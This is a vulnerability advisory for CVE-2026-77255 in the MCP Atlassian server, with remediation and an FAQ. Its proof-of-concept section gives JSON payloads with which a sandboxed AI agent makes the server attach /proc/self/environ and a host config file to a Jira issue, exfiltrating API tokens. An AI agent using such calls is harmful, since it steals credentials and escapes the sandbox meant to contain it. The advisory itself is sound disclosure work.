CVE-2026-77255: MCP Atlassian: Arbitrary File Read & Exfiltration (Confused Deputy) in JIRA update_issue
Summary A critical Confused Deputy (Arbitrary File Read & Exfiltration) vulnerability in the Atlassian MCP server (Python) allows an AI agent to exfiltrate sensitive host files and environment secrets. By providing absolute system paths to the attachments parameter of the updateissue tool, an agent can force the privileged MCP process to read and upload any file it has access to—including its own environment variables and host configuration—directly to a Jira ticket.
Details The vulnerability is located in the updateissue tool handler. The attachments parameter accepts a list of file paths that are passed directly to the Jira API's upload method without any sanitization or validation.
Specifically, the implementation fails to: 1. Restrict paths to a safe workspace: It accepts absolute paths starting with /. 2. Prevent directory traversal: It does not filter for ../ sequences. 3. Validate ownership: It allows the process to read system-level files (like /proc/self/environ) that the calling agent is normally forbidden from accessing due to sandbox restrictions.
Because the MCP server typically runs with higher privileges than the AI agent (holding the JIRAAPITOKEN and having wider filesystem access), it acts as a "Confused Deputy," performing exfiltration on behalf of a restricted agent.
PoC To reproduce the vulnerability in an environment where the agent is sandboxed (e.g., as a restricted Unix user) but the MCP server has host-level access:
1. Exfiltrate MCP Secrets: The agent calls the updateissue tool with the following payload: { "issuekey": "SECURITY-1", "attachments": ["/proc/self/environ"] } Result: The MCP server reads its own process environment—containing the JIRAAPITOKEN and other sensitive keys in plain text—and attaches it to the Jira issue.
2. Exfiltrate Host Configuration: The agent calls the tool to target global assistant settings: { "issuekey": "SECURITY-1", "attachments": ["/home/hermes/.hermes/config.yaml"] } Result: The host's global configuration file (containing tokens for GitLab, Slack, and other services) is successfully exfiltrated to the cloud.
Impact Critical Credential Theft: Immediate exposure of the JIRAAPITOKEN and any other secrets injected into the MCP server's environment. Arbitrary File Access: Total exfiltration of any data the host user running the MCP server can read (SSH keys, databases, local source code). Privilege Escalation & Lateral Movement: Attackers can move from a restricted AI sandbox to full host-system control by stealing tokens or configuration files.
Other sources
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira updateissue attachments argument is converted into local paths and routed to the attachment upload implementation without workspace validation. A caller can make the MCP server read arbitrary local files and attach them to a Jira issue, using the server as a confused deputy to exfiltrate the contents. The advisory traces the vulnerable input and processing flow through jira updateissue, attachments, uploadattachment, and filepath, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mcp-atlassianto a version that resolves this vulnerability.Fixed in 0.22.0 - Upgrade
Upgrade
MCP Atlassianto a version that resolves this vulnerability.Fixed in 0.22.0
Event History
Frequently Asked Questions
Which deployments are exposed?
MCP Atlassian deployments running a version prior to 0.22.0 are affected if the Jira update_issue functionality is available to callers. The vulnerable path is the attachments argument processed through the attachment upload flow.
What does an attacker need to exploit this issue?
An attacker needs the ability to invoke Jira update_issue with a controlled attachments value. No authentication, user interaction, or special privileges are indicated by the supplied vector.
What can an attacker do with successful exploitation?
The attacker can cause the MCP server to read arbitrary local files and attach their contents to a Jira issue. This can exfiltrate files readable by the MCP server through Jira attachments.
How can this be remediated?
Upgrade MCP Atlassian to version 0.22.0, which fixes the missing workspace validation in the attachment handling path.